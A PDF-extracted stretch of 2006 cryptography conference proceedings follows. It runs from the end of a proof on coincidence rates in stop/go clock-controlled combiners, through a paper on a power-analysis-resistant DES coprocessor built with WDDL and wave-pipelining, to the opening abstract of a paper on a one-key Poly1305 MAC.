n⋂

i=0

Fi,ai

)
=

1
2n+1 .

Proof. Our argument will proceed by the induction on n. For n = 0, Lemma 2
and the uniform of Y

(1)
0 show that

P (F0,0) = P (F0,1) =
1
2
.

Suppose that the statement is true for some nonnegative integer n. Note that
Y

(1)
n+1 is independent of Z

(1)
0 , Z

(1)
1 , · · · Z(1)

n+1, Y
(1)
0 , Y

(1)
1 , · · ·Y (1)

n . Then by our in-
duction hypothesis we obtain

P

(
n⋂

i=0

Fi,ai ∩ Fn+1,0

)
= P

(
n⋂

i=0

Fi,ai ∩
{

Y
(1)
n+1 = 0

})
=

1
2n+2

and
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P

(
n⋂

i=0

Fi,ai ∩ Fn+1,1

)
= P

(
n⋂

i=0

Fi,ai ∩
{
X

(1)
n+1 = Y

(1)
n+1

})

= P

(
n⋂

i=0

Fi,ai ∩
{
X

(1)
n+1 = Y

(1)
n+1 = 0

})
+ P

(
n⋂

i=0

Fi,ai ∩
{

X
(1)
n+1 = Y

(1)
n+1 = 1

})

=
1
2

[
P

(
n⋂

i=0

Fi,ai ∩
{
X

(1)
n+1 = 0

})
+ P

(
n⋂

i=0

Fi,ai ∩
{
X

(1)
n+1 = 1

})]

=
1
2
P

(
n⋂

i=0

Fi,ai

)
=

1
2n+2 .

This completes the proof. ��
Theorem 3. For the rate of coincidence between the “multiply” combiner se-
quence {X̃0, X̃1, X̃2, · · · } and corresponding clock-control sequence {Y

(1)
0 , Y

(1)
1 ,

Y
(1)
2 , · · · }, we have

(1) P{X̃n = Y
(1)
n } =

1
2
, for n ≥ 0.

(2) P{X̃0 = Y
(1)
0 , X̃1 = Y

(1)
1 , · · · , X̃n = Y

(1)
n } =

1
2n+1 , for n ≥ 0. Which implies

the events {X̃0 = Y
(1)
0 }, {X̃1 = Y

(1)
1 }, · · · , {X̃n = Y

(1)
n }, · · · are mutually

independent.

Proof. (1) Since for n ≥ 0, X
(2)
n is independent of X

(1)
n and Y

(1)
n , then,

P{X̃n = Y (1)
n }

= P{X(1)
n · X(2)

n = Y (1)
n }

= P{X(2)
n = 1, X(1)

n = Y (1)
n } + P{X(2)

n = 0, Y (1)
n = 0}

= P{X(2)
n = 1} · P{X(1)

n = Y (1)
n } + P{X(2)

n = 0} · P{Y (1)
n = 0}

=
1
2

· 1
2

+
1
2

· 1
2

=
1
2
.

(2) Note that vector
(
X

(2)
0 , X

(2)
1 , · · · , X

(2)
n

)
is independent of

(
X

(1)
0 , X

(1)
1 , · · · ,

X
(1)
n

)
and

(
Y

(1)
0 , Y

(1)
1 , · · · , Y

(1)
n

)
. Lemma 4 leads to that

P{X̃0 = Y
(1)
0 , X̃1 = Y

(1)
1 , · · · , X̃n = Y (1)

n }
= P{X

(1)
0 · X(2)

0 = Y
(1)
0 , X

(1)
1 · X

(2)
1 = Y

(1)
1 , · · · , X(1)

n · X(2)
n = Y (1)

n }

=
∑

a0,··· ,an∈{0,1}
P

(
{X

(2)
0 = a0, X

(2)
1 = a1, · · · , X(2)

n = an} ∩
n⋂

i=0

Ei,ai

)

=
1

2n+1

∑
a0,··· ,an∈{0,1}

P
{
X

(2)
0 = a0, X

(2)
1 = a1, · · · , X(2)

n = an

}

=
1

2n+1 ,

and the desired result follows directly. ��
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For analyzing the rate of coincidence between sequence {X̃0, X̃1, X̃2, · · · } and
sequence {Z

(1)
0 , Z

(1)
1 , Z

(1)
2 , · · · }, the following lemma is needed.

Lemma 5. The notation are the same as those defined above. Denote
√

17+9
16

and −√
17+9
16 by C1 and C2, respectively. Then for n ≥ 0,

P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , Z

(1)
n−1 · X(2)

n−1 = Z
(1)
n−1, X

(2)
n = 1

}

=
(
1 0

)
·

⎛
⎝

3
4

1
8

1
4

3
8

⎞
⎠

n

·

⎛
⎝

1
2

1
2

⎞
⎠

=
1
4

·
[
(Cn

1 + Cn
2 ) +

5√
17

(Cn
1 − Cn

2 )
]

.

Proof. Let

p(1)
n = P

{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , · · · , Z

(1)
n−1 · X

(2)
n−1 = Z

(1)
n−1, X

(2)
n = 1

}
,

p(0)
n = P

{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , · · · , Z

(1)
n−1 · X

(2)
n−1 = Z

(1)
n−1, X

(2)
n = 0

}
.

Note that {X
(2)
0 , X

(2)
1 , X

(2)
2 , · · · } is a homogeneous markov chain. And note that

random variables Z
(1)
0 , Z

(1)
1 , · · · , Z

(1)
n−1 and vector

(
X

(2)
0 , X

(2)
1 , · · · , X

(2)
n

)
are mu-

tually independent. We can get the following recurrence relation,

p(1)
n = P

{
Z

(1)
0 · X(2)

0 = Z
(1)
0 , · · · , Z

(1)
n−1 · X(2)

n−1 = Z
(1)
n−1, X

(2)
n = 1

}

= P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , X

(2)
n−1 = 1, X(2)

n = 1
}

+P
{

Z
(1)
0 · X(2)

0 = Z
(1)
0 , Z

(1)
1 · X

(2)
1 = Z

(1)
1 , · · · , X

(2)
n−1 = Z

(1)
n−1 = 0, X(2)

n = 1
}

=
3
4

· P
{
Z

(1)
0 · X(2)

0 = Z
(1)
0 , Z

(1)
1 · X

(2)
1 = Z

(1)
1 , · · · , X

(2)
n−1 = 1

}

+
1
8

· P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , X

(2)
n−1 = 0

}

=
3
4

· p(1)
n−1 +

1
8

· p(0)
n−1,

and

p(0)
n = P

{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , · · · , Z

(1)
n−1 · X

(2)
n−1 = Z

(1)
n−1, X

(2)
n = 0

}

= P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , X

(2)
n−1 = 1, X(2)

n = 0
}

+P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , X

(2)
n−1 = Z

(1)
n−1 = X(2)

n = 0
}
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=
1
4

· P
{
Z

(1)
0 · X(2)

0 = Z
(1)
0 , Z

(1)
1 · X

(2)
1 = Z

(1)
1 , · · · , X

(2)
n−1 = 1

}

+
3
8

· P
{
Z

(1)
0 · X

(2)
0 = Z

(1)
0 , Z

(1)
1 · X(2)

1 = Z
(1)
1 , · · · , X

(2)
n−1 = 0

}

=
1
4

· p(1)
n−1 +

3
8

· p(0)
n−1.

That is (
p
(1)
n

p
(0)
n

)
=

⎛
⎝

3
4

1
8

1
4

3
8

⎞
⎠ ·

⎛
⎝p

(1)
n−1

p
(0)
n−1

⎞
⎠ .

By induction on n, we obtain that⎛
⎝p

(1)
n

p
(0)
n

⎞
⎠ =

⎛
⎝

3
4

1
8

1
4

3
8

⎞
⎠

n

·

⎛
⎝p

(1)
0

p
(0)
0

⎞
⎠ =

⎛
⎝

3
4

1
8

1
4

3
8

⎞
⎠

n

·

⎛
⎝

1
2

1
2

⎞
⎠ ,

and the result follows. ��
Theorem 4. The notation {X̃0, X̃1, X̃2, · · · } and {Z

(1)
0 , Z

(1)
1 , Z

(1)
2 , · · · } are the

same as those defined above. Then

(1) P{X̃n = Z
(1)
n } = 1

2 + 1
2n+2 for n ≥ 0;

(2) Denote
√

17+9
16 and −√

17+9
16 by C1 and C2, respectively. Then for n ≥ 0,

P{X̃0 = Z
(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n }

=
3

2n+2 +
1

2n+3

(
1 +

5√
17

)
C1 − Cn+1

1

1 − C1
+

1
2n+3

(
1 − 5√

17

)
C2 − Cn+1

2

1 − C2
.

Proof. (1) The case n = 0 is obvious. The fact that for n ≥ 1, X
(2)
n is independent

of X
(1)
n and Z

(1)
n states that,

P{X̃n = Z(1)
n }

= P{X(1)
n · X(2)

n = Z(1)
n }

= P{X(2)
n = 1, X(1)

n = Z(1)
n } + P{X(2)

n = 0, Z(1)
n = 0}

=
1
2

·
(

1
2

+
1

2n+1

)
+

1
2

· 1
2

=
1
2

+
1

2n+2 .

(2) We proceed by induction. The case n = 0 is obvious. Denote

En = {X̃0 = Z
(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n }.

Note that Z
(1)
n+1 is independent of Z

(1)
0 , Z

(1)
1 , · · · , Z

(1)
n and X

(1)
0 , X

(1)
1 , · · · , X

(1)
n .

We get

P{X̃0 = Z
(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n , X̃n+1 = Z
(1)
n+1}

= P{X̃0 = Z
(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n , X
(1)
n+1 · X(2)

n+1 = Z
(1)
n+1}

= P
(
En ∩ {X

(2)
n+1 = 1, X

(1)
n+1 = Z

(1)
n+1}

)
+ P

(
En ∩ {X

(2)
n+1 = Z

(1)
n+1 = 0}

)
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= P
(
En ∩ {X

(2)
n+1 = 1, X

(1)
n+1 = Z

(1)
n+1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

+P
(
En ∩ {X

(2)
n+1 = 1, X

(1)
n+1 = Z

(1)
n+1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}c
)

+P
(
En ∩ {X

(2)
n+1 = Z

(1)
n+1 = 0} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

+P
(
En ∩ {X

(2)
n+1 = Z

(1)
n+1 = 0} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}c
)

(b)
= P

(
En ∩ {X

(2)
n+1 = 1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

+
1
2
P

(
En ∩ {X

(2)
n+1 = 1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}c
)

+
1
2
P

(
En ∩ {X

(2)
n+1 = 0} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

+
1
2
P

(
En ∩ {X

(2)
n+1 = 0} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}c
)

=
1
2
P{En} +

1
2
P

(
En ∩ {X

(2)
n+1 = 1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

.

Where (b) follows from the fact that iff event {Y
(1)
0 = 1, · · · , Y

(1)
n = 1}c happens,

n∑
i=0

Y
(1)
i < n + 1. Lemma 5 gives us that

1
2
P

(
En ∩ {X

(2)
n+1 = 1} ∩ {Y

(1)
0 = 1, · · · , Y (1)

n = 1}
)

=
1

2n+2 P
(
{Z

(1)
0 · X(2)

0 = Z
(1)
0 , · · · , Z(1)

n · X(2)
n = Z(1)

n , X
(2)
n+1 = 1}

)

=
1

2n+4

[
(Cn+1

1 + Cn+1
2 ) +

5√
17

(Cn+1
1 − Cn+1

2 )
]

.

And hence

P{X̃0 = Z
(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n , X̃n+1 = Z
(1)
n+1}

=
1
2
P{X̃0 = Z

(1)
0 , X̃1 = Z

(1)
1 , · · · , X̃n = Z(1)

n }

+
1

2n+4

[
(Cn+1

1 + Cn+1
2 ) +

5√
17

(Cn+1
1 − Cn+1

2 )
]

.

The desired result follows immediately from an induction on n with the above
recurrence relation. ��
Remark 3. The number given in Theorem 4 is approximately 5

2n+1 , much less
than the corresponding number of rate of coincidence of a single stop/go gener-
ator — n+2

2n+1 (see [9]).

5 Conclusion

In this paper, we study two clock-controlled combiners combining two stop/go
sequences by a Boolean function x1 ⊕ x2 or x1 · x2, called the “additive” com-
biner and the “multiply” combiner, respectively. We then investigate the rate
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of coincidence between the output sequences of these two combiners and the
corresponding LFSRs’ sequences. The computed coincidence probabilities show
that there exist correlation weaknesses in these combiners, which may be used
for mounting correlation attacks on these generators.
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Designing Power Analysis Resistant and High
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Abstract. Novel design method and design flow of block cipher co-
processor is presented based on the WDDL (Wave Dynamic Differential
Logic) and Wave-Pipelining techniques. This design flow utilized the cur-
rent commercially available EDA (Electronic Design Automatic) tools to
a large degree. The WDDL and wave-pipelining based coprocessor not
only resists power analysis, but also achieves high performance and low
power consumption in nature. According to the design flow, this pa-
per implements a DES coprocessor. The simulation results show that
the novel design method does achieve high performance, low power con-
sumption and power analysis resistant ability at the cost of chip area.

Keywords: WDDL, Wave-pipelining, block cipher, power analysis re-
sistant, design flow.

1 Introduction

Block cipher is the key technique to achieve data privacy, so the block cipher
coprocessor is an important part of a typical security SOC (System on Chip). The
security of cryptographic algorithm has two sides, one is the mathematic security,
and the other is the implementation security. For those widely used modern block
ciphers, it is nearly impossible to break them by mathematic attacks. However,
some weakness in the implementations leaves a hole to those attackers. Side
channel attack is the one that utilizes the weakness of implementation. Timing
analysis, electromagnetic side-channel analysis, and power analysis [1] are the
typical side channel attacks. Based on the correlation between power and data
being processed, an attacker can obtain the secret key from the statistics of
large amount of power samples. Being simple and efficient, power analysis is
truly dangerous to those security SOCs, especially the smartcards.

To protect a smartcard against power analysis, many kinds of techniques have
been presented [2]. These protecting implementation methods can be divided
into two categories, power randomization and the contrary one. Unfortunately,
high security often means the sacrifice of performance in some degree. For exam-
ple, randomized delay or invalid operation is inserted into the processing flow,
so the performance decreases [2]. Sometimes much more energy is consumed

H. Lipmaa, M. Yung, and D. Lin (Eds.): Inscrypt 2006, LNCS 4318, pp. 66–77, 2006.
c© Springer-Verlag Berlin Heidelberg 2006
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while implementing cryptography based on dynamic dual-rail logic [3]. This pa-
per attempts to seek a reasonable tradeoff between the performance, chip area,
power consumption and the ability to resist power analysis. Because the energy
consumed by a WDDL cell is independent of its input, WDDL can be used
to implement cryptography so that power analysis is not practicable [4][5][6].
With the combination of WDDL and wave-pipelining [7][8], this paper presents
a method which is not only resistant to power analysis, but also achieves high
performance.

The rest of this paper is organized as follows. In section 2, we give a brief
introduction of WDDL and wave-pipelining. Then we explain why is practicable
to combine these two kinds of techniques to implement block cipher. In section
3, we present the structure of a block cipher coprocessor based on WDDL and
wave-pipelining. Then we present the design flow in section 4. The performance
and the ability to resist power analysis attack are analyzed in section 5. Then
an example of DES coprocessor based on the presented design flow is shown in
section 6. Finally, we conclude in section 7.

2 Introduction of WDDL and Wave-Pipelining

The circuit based on WDDL has the following characteristics [4][5][6]:

– All the logic functions are realized via AND2 and OR2. Where AND2 (OR2)
provides the Boolean AND (OR) function of its two inputs.

– According to the De Morgan’s law, a pair of AND2 and OR2 composes a
dual-rail cell, which is shown in Fig. 1(a) and Fig. 1(b). For simplicity, the
dual rail AND- and OR- gates are denoted as WAND2 and WOR2 in the
following.

– A WDDL cell has two states, one is pre-charging, and the other is evaluation.
Unlike the dynamic circuit, the WDDL circuit has no global pre-charging
signal. We just let all the inputs be 0, and then the outputs of the WDDL
circuit will be pre-charged to 0 finally. That is to say, the pre-charging signal
is propagated step by step. As shown in Fig. 2, after a delay unit (the delay
of AND2 or OR2), the signals z1, z2 are pre-charged to 0, then the signals
z3, O2.

– A WDDL cell can achieve nearly constant power consumption as long as the
differential gates’ equivalent capacitances are the same. The spice simulation
result of WAND2 with balanced load capacitance is shown in Fig. 3. Where
four different phases represent four different inputs. The larger peak repre-
sents evaluation, and the smaller one represents pre-charging. And we find
that the power consumption of different inputs is not completely the same
in fact. Tiny difference does exists.

Wave pipelining is a kind of IC design technique which can achieve very high
performance [7][8]. The principle of wave pipelining is shown as follows. For a
combinational module, the next input signals can be triggered before we get
the result relevant to the current input as long as no collision occurs. Thus
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Fig. 1. The schematic diagram of WDDL cells. (a) A WAND2 cell, (b) A WOR2 cell,
(c) A BUF cell.

there may be multiple data flows in this combinational module. Each data flow
is called a wave. Suppose that the delay of the critical path is tc, and the in-
terval between two data inputs is Δt. Then this combinational module can be
regarded as a pipeline with �tc/Δt� stages. And no latches exist between two
stages. According to this processing flow, the throughput of a combinational
module can be improved significantly. Although wave pipelining has the advan-
tage of performance, things are far from perfect. The limitation of EDA tools is
the major drawback. And this also explains why wave pipelining is not widely
used now.
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Fig. 2. A WDDL circuit

 

Fig. 3. Spice simulation of a WAND2 cell

Based on the brief introduction of WDDL and wave pipelining, we now ex-
plain why it is possible to combine these two kinds of techniques to implement
block cipher. On the one side, a WDDL based circuit is comprised of only two
kinds of gate, AND2 and OR2. The propagation delays of these two kinds of
gates are nearly the same. So we can implement a WDDL based circuit via wave
pipelining without great difficulty. On the other hand, block ciphers comprise
several similar rounds of transformation, and no feedback is needed. That is to
say, the regular structures of block ciphers indicate that it is practical to em-
ploy the wave pipelining technique. Furthermore, because of the nearly constant
power consumption, a WDDL and wave pipelining based block cipher coproces-
sor has the ability to resist power analysis. To sum up, not only it is practical to
combine WDDL with wave pipelining to implement block ciphers, but also we
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can gain the advantage of performance and security. For simplicity, we use the
term WDP to indicate the combination of WDDL and wave pipelining in the
following.

3 Architecture of WDP Based Block Cipher Coprocessor

The WDP based block cipher coprocessor has the multi-layer interconnection
style structure shown in Fig. 4. Those three kinds of layers included in this
structure are input, logic calculation, and output layers. Each layer accepts in-
puts from its previous layer only. As shown in Fig. 4, (in, in) are the dual rail
input signals, and (out, out) are dual rail output signals. In each a logic calcu-
lation layer, there are three kinds of logic cells which are denoted as WAND2,
WOR2, and BUF. The cell BUF can be regarded as a delay unit, which is shown
in Fig. 1(c). During the pre-charging phase, all the inputs of a BUF cell are set
to 0, then the dual rail outputs (f, f) are pre-charged to 0. During the evaluation
phase, en is set to 1, and en is kept 0, then we can get (a, a) at the output. That
is to say, (a, a) are delayed.

1

Logic calculation

WAND2

WOR2 BUF

 

Fig. 4. The architecture of a WDP based coprocessor

(tr i, tr i) are the dual rail signals that trigger the WDP coprocessor. If and
only if tr i is set to 1, the coprocessor performs valid computation. Otherwise,
then the WDP circuit remains in the pre-charging state. (tr i, tr i) are propa-
gated through BUF cells stage by stage. The logic depth of (tr i, tr i) is equal
to the logic calculation layers’. In other word, the total number of stages that
(tr i, tr i) should travel is identical to the number of logic calculation layers.
Then we conclude that the valid results go to the end of the WDP circuit at the
same time when tr o becomes 1. For the BUF cell in the i-th stage of logic cal-
culation, its dual rail input (en, en) are set to the triggering signals (tri−1, tri−1)
from stage (i -1).

The computing model of the presented block cipher coprocessor can be ex-
pressed as ENC (IN, L1, . . . , Ln, OUT ). Where IN is the set of input signals,
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and OUT is the set of output signals. The term Li(1 ≤ i ≤ n) denotes the set
of all signals in layer i. This computing model satisfies the following constraints.

∀o ∈ OUT, o = (x ∧ y), oro = (x ∨ y), x, y ∈ Ln.

∀z ∈ Li, z = (x ∧ y), orz = (x ∨ y), i > 1, x, y ∈ Li−1.

∀z ∈ L1, z = (x ∧ y), orz = (x ∨ y), x, y ∈ IN.

In the above model, the delay of each logic calculation stage is nearly the same.
Then the arrival time of the two inputs is nearly the same for any cell. So it is
suitable for employing the wave pipelining technique. While wave pipelining, the
interval of consecutive two inputs is determined by the maximum propagation
delay of all the layers. In fact, the interval is delay of the cell which has the
maximum load. And it is the common case that this cell has the maximum
fan-outs. The interval, denoted as Δt, is calculated by the following equation.

Δt = tintrinsic + (Kload × Cload). (1)

 

Fig. 5. Processing flow of WDP based coprocessor
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In (1), tintrinsic represents the delay of a cell (AND2 or OR2) without load
capacitance. Cload represents the load capacitance of the corresponding cell. And
Kload indicates the load delay multiplier.

Based on the above description of the WDP based block cipher coprocessor,
we can determine the processing flow shown in Fig. 5. The pre-charging and
valid computations are performed alternatively in the flow. At a certain point of
time, there may be several waves traveling the coprocessor.

4 Design Flow of WDP Based Block Cipher Coprocessor

It is the common case that block ciphers comprise several similar rounds of
transformation and each round is well modularized. To simplify the design pro-
cess, this paper decomposes a macro-module top down. After the WDP netlist
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of each sub-module is generated, we compose the netlists of those sub-modules
bottom up. Finally, we get the entire netlist of a block cipher coprocessor. For
example, each round of DES comprises these sub-modules, KS (key schedule),
eight S-boxes, and P (permutation) etc [9].

For a sub-module, we get its WDP netlist via the following steps.

1. HDL Design: the logic design is done with a standard hardware description
language, such as Verilog.

2. Synthesis: the HDL design is synthesized with a subset of the standard cell
library. The subset only consists of the inverter, the AND2 and OR2. Then
we get the static complementary netlist. Any Boolean algebra function can be
expressed with the operator set {¬, ∨, ∧}, which is equivalent to the inverter,
the AND2 and OR2. So this step is legitimate. Since no special standard cells
are used, the synthesis can be done with the common EDA tools, such as
Synopsys Design Compiler TM.

3. SR-WDDL: the synthesized single rail netlist must be converted to the
WDDL style netlist. Because all the signals in a WDDL circuit are dif-
ferential, the inverter is redundant. For an instance of AND2 (OR2) in the
single rail netlist, we just add a complementary instance of OR2 (AND2)
according to the De Morgan’s law. Let A, B be the input signals of a logic
cell, and Z be the output signal. The conversion rule is listed as follows.
(a) For an inverter instance INV U1(.A(X1), .Z(Z1)), we replace all the oc-

currences of X1 with X1, and Z1 with Z1.
(b) For an AND2 instance AND2 U2(.A(X2), .B(Y2), .Z(Z2)), we add a com-

plementary OR2 instance OR2 N U2(.A(X2), .B(Y2), .Z(Z2)).
(c) For an OR2 instance OR2 U3(.A(X3), .B(Y3), .Z(Z3)), we add a com-

plementary AND2 instance AND2 N U3(.A(X3), .B(Y3), .Z(Z3)).
4. Branch Balancing: after this step, it is ensured that the two input signals of

every logic cell arrive at the approximately same time. In the initial WDDL
netlist after the conversion, there may be some cells that their two inputs
don’t arrive simultaneously. That is to say, the logic depths of these two
inputs are different. For example, the arrival time of Z3, e in Fig. 2 differs
obviously. If working as the wave pipelining style, timing analysis is difficult
and high performance can not be achieved. By inserting some BUFs, we get
the WDP netlist complied with the structure shown in Fig. 4. The process
of branch balancing is now presented in detail as follows.

For a WDDL netlist, any output’s Boolean function can be expressed as a
binary tree. In this binary tree, a node denotes the corresponding signal in the
netlist. If a node is equal to one of input signals, the children of this node are
null. Otherwise, the children of a node are the two input signals that produce this
node. The height of this binary tree indicates the logic depth the corresponding
output. For the circuit shown in Fig. 2, the mentioned binary tree of output O2 is
shown in Fig. 6(a). This binary tree’s height is 3. The arrival time of z3, e, the two
children of O2, differs obviously. As shown in Fig. 6(b), we insert two BUFs for
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signal e to balance the two branches of O2. In fact, we add the following cells,
OR2 B U1(.A(e), .B(tr i), .Z(e1)), OR2 B U2(.A(e1), .B(tr1, .Z(e2)). Then we
replace the original occurrence of signal e with e2. Certainly, complementary
cells would be added for O2. For simplicity, we use the term InsertBuf(x, h) to
indicate that h BUFs are inserted for signal x, and Height(z ) be the logic depth
of node z. The detailed description of branch balancing is shown in Algorithm
1.

Algorithm 1. Branch balancing of an output: BalanceBranch(O)
Require: IN be the set of input signals

if IN1(O) ∈ IN then
InsertBuf(IN1(O), Height(O)-1) {IN1(O) denotes the first input of O}
if IN2(O) ∈ IN then

InsertBuf(IN2(O), Height(O)-1) {IN2(O) denotes the second input of O}
else

BalanceBranch(IN2(O)) {recursive function call}
end if

else
BalanceBranch(IN1(O))
if IN2(O) ∈ IN then

InsertBuf(IN2(O), Height(O)-1) {Height(O) denotes the logic depth of O}
else

BalanceBranch(IN2(O))
end if

end if

The logic depth of different output signal may be different. In the circuit
shown in Fig. 2, the logic depth of O2 is 3, but 1 for O1. To ensure that all the
outputs are produced nearly at the same time, some BUFs must be appended
for those output signals which have smaller logic depth. For example, two stages
of BUFs are appended for O1. The detail description of this appending process
would not be presented. In the following, we use the term AppendBuf(O, l) to
indicate that l stages of BUFs are appended for output signal O.

In summary, the whole process of sub-module branch balancing is shown as
follows.

Algorithm 2. Branch balancing of a sub-module: BalanceModule(OUT )
Require: OUT = {O1, O2, . . . , On}

H = max(Height(Oi)) 1 ≤ i ≤ n
for all Oi such that Oi ∈ OUT do

BalanceBranch(Oi)
AppendBuf(O, H -Height(O))

end for
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The method of generating WDP based netlist of a sub-module is explained
above, now the following shows how to compose two sub-modules into a larger
one. If the two sub-modules M1 and M2 are serial, we just make them connected
directly. Otherwise, we append (L1 - L2) BUFs for every output signal of M2.
Where L1, and L2 are the logic depth of M1 and M2 respectively, and L1 is not
less than L2. According to this method, we can get the WDP based netlist of a
macro-module incrementally.

Let a given block cipher comprises R rounds. The design flow of WDP based
implementation of this cryptography is shown as follows.

1. for i from 1 to R step by 1
(a) The i-th round of this block cipher is decomposed into several indepen-

dent sub-modules. Then the WDP based netlist of all these sub-modules
are generated.

(b) All the sub-modules’ WDP based netlist are composed so that we get
the whole WDP based netlist of the i-th round.

2. All the rounds of this block cipher are glued in sequence, so we get the WDP
based netlist of the expected coprocessor.

3. Place and Route: a key problem in this step is to guarantee a balanced
capacitive load at the differential outputs of the logic gates so that nearly
constant power consumption is achieved. With shrinking channel-length of
the transistors, the interconnect capacitance becomes more and more the
dominant capacitance. This makes it appropriate to primarily concentrate
on the interconnect capacitances. Under the assumption that the differential
signals travel in the same environment, the interconnect capacitances are
equivalent. K. Tiri presented a differential routing method which is built on
top of a commercially available EDA tool [4]. K. Tiri’s contribution does its
work in our design.

4. After the coprocessor’s gds layout is generated, DRC and LVS are done to
verify the layout.

5. The minimal interval t between consecutive two inputs must be determined
according to equation (1).

To sum up, the design flow mentioned above can utilize the current com-
mercially available EDA tools to a large degree. No standard cells need to be
customized. And no special restrictions are put on the back-end flow. Besides,
there are no long wires in the WDP based coprocessor, so it is easy to be placed
and routed.

5 Performance and Security Analysis

Suppose that the interval between the consecutive two inputs be Δt, and the
number of total logic calculation stages be N. According to the processing flow
shown in Fig. 5, pre-charging and valid computation is performed alternatively.
Then the time needed to perform an encryption (decryption) is (N +1)Δt. While
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being fully loaded, the maximum throughput of the WDP based coprocessor,
TPmax, is given by

TPmax =
1

2Δt
. (2)

The actual throughput while performing m encryptions (decryptions), TP, is
calculated by

TP =
m

(N + 1)Δt + 2(m − 1)Δt
=

TPmax

1 + (N − 1)/2m
. (3)

If it is satisfied that m is greater than N largely (m 	 N), the actual through-
put TP is approaching to the ideal throughput TPmax.

If the WDP based block cipher coprocessor can achieve input signals inde-
pendent power consumption, DPA is impracticable. Unfortunately, completely
constant power consumption can not be achieved now. Then, what’s the rea-
son? On the one hand, the capacitive load at the differential outputs of the logic
gates could not be balanced even we use the differential routing [4]. On the other
hand, a WDDL cell does not achieve completely constant power consumption
according to the Spice simulation shown in Fig. 3. So, the WDP based block
cipher coprocessor just achieves nearly constant power consumption. In other
word, the WDP based block cipher coprocessor just makes DPA much harder
to carry out than the original standard cell based implementation does. We can
not avoid DPA. The experimental result (presented in the next section) shows
the security improvement.

Besides the high performance and security, the WDP based block cipher co-
processor has the intrinsic advantage of low power consumption. The reason lies
in the following facts. On the one hand, there is no global clock, registers, and
long wires exist in the WDP based coprocessor. On the other hand, the coproces-
sor performs valid computation only if the trigger signal tr i is high. Otherwise
all the inputs remain low, so the coprocessor does not consume any energy.

6 Experimental Results

According to the design flow of the WDP based block cipher coprocessor, we
implemented a DES coprocessor. The WDDL gates have been derived from the
commercial 0.18μm, 1.8V static CMOS standard cell library. Table 1 summarizes
the detailed result of this DES coprocessor. The layout of the mentioned DES
coprocessor is shown in Fig. 7.

The transistor-level netlist including parasitics (capacitances and resistors) is
extracted from the layout. Using the power simulation tool such as Synopsys
PowerMill TM, we can get the DES coprocessor’s transient power consumption.
Fig. 8 shows the transient core supply current and the logic value of the encryp-
tion start signal tr i. In this simulation, the equivalent clock cycle is 0.2ns. In
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Table 1. Performance of the WDP based DES coprocessor

Items Value Explanation
Logic Depth 192 12×16 rounds
Gates Count 76K Total number of AND2 and OR2
Δt (ns) 0.2 Simulation results based on 0.18μm technology
Delay of a Whole Encryption (ns) 38.4 The product of logic depth and the interval Δt

 

Fig. 7. The layout of the WDP based DES coprocessor

other word, new encryption and pre-charging are executed alternatively every
0.2ns. We find that the power consumption profile of the WDP based DES
coprocessor has nice periodicity and does not reveals any information in a simple
power analysis.

We also implemented a DES coprocessor using standard cells and regular
routing techniques. We call this coprocessor the reference design in the following.

We performed DPA on each coprocessor, measuring 2,000 and 1,500,000 sup-
ply current trace for the reference design and the WDP based one, respectively.
In other words, we performed 2,000 encryptions on the standard cell coprocessor
using the same key (with different inputs) while measuring the current fluctua-
tions from the power supply. Using these current fluctuations we performed the
mean DPA attack. With WDP, we performed 1.5 million encryptions.

The resistance against DPA is quantified with the number of measurements
to disclosure. For both coprocessors, an attack on six bits round key is shown in
Fig. 9. Though only one of the eight key segments (48 bits round key = 8×6 key
segments) is shown, the results for the other seven key segments are similar. For
the reference design, 2,000 measurements are on average required to disclose six
bits round key. As seen on the top of Fig. 9, the difference peak of the correct
guess is obvious. While the difference of other incorrect key guesses is small. For
the WDP based DES coprocessor, on the other hand, our measurements show
that there is no distinct difference peak for the correct guess. So, it is very hard
to perform DPA on the WDP based coprocessor. The required time to perform
a successful DPA is larger than the lifetime of the secret key in most practical
systems.



76 Y. Tong et al.

0 50 100 150 200
0

5

10

15

Time (ns)
C

u
rr

en
t 

(m
A

)

instantaneous current trace

0 5 10 15 20
−1

0

1

2

←
 L

  H
 →

Time (ns)

equivalent cycle: 0.2ns
tr_i

Fig. 8. Transient measurement of core supply current (top) and the encryption start
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7 Conclusions

This paper presented the WDP based design method and design flow of block ci-
pher. The simulation results of the WDP based DES coprocessor showed that the
presented design method does achieve high performance, low power consumption
and the power analysis resistant ability at the cost of chip area.

Since no global synchronization clock exists in the WDP based coprocessor.
That is to say, the WDP based coprocessor is self-timed. We will research how
to integrate the WDP based coprocessor into a typical security SOC which is
globally synchronized.
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OPMAC: One-Key Poly1305 MAC�
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Abstract. In this paper, we present One-Key Poly1305 MAC(OPMAC)
and prove its security for arbitrary length message. OPMAC is deter-
ministic and takes only one 16-byte key. Previously, Poly1305 MAC is
nonce-based and requires two 16-byte keys and a 16-byte nonce, 48-byte
in total.

Keywords: Message Authentication Code, Carter-Wegman MAC,
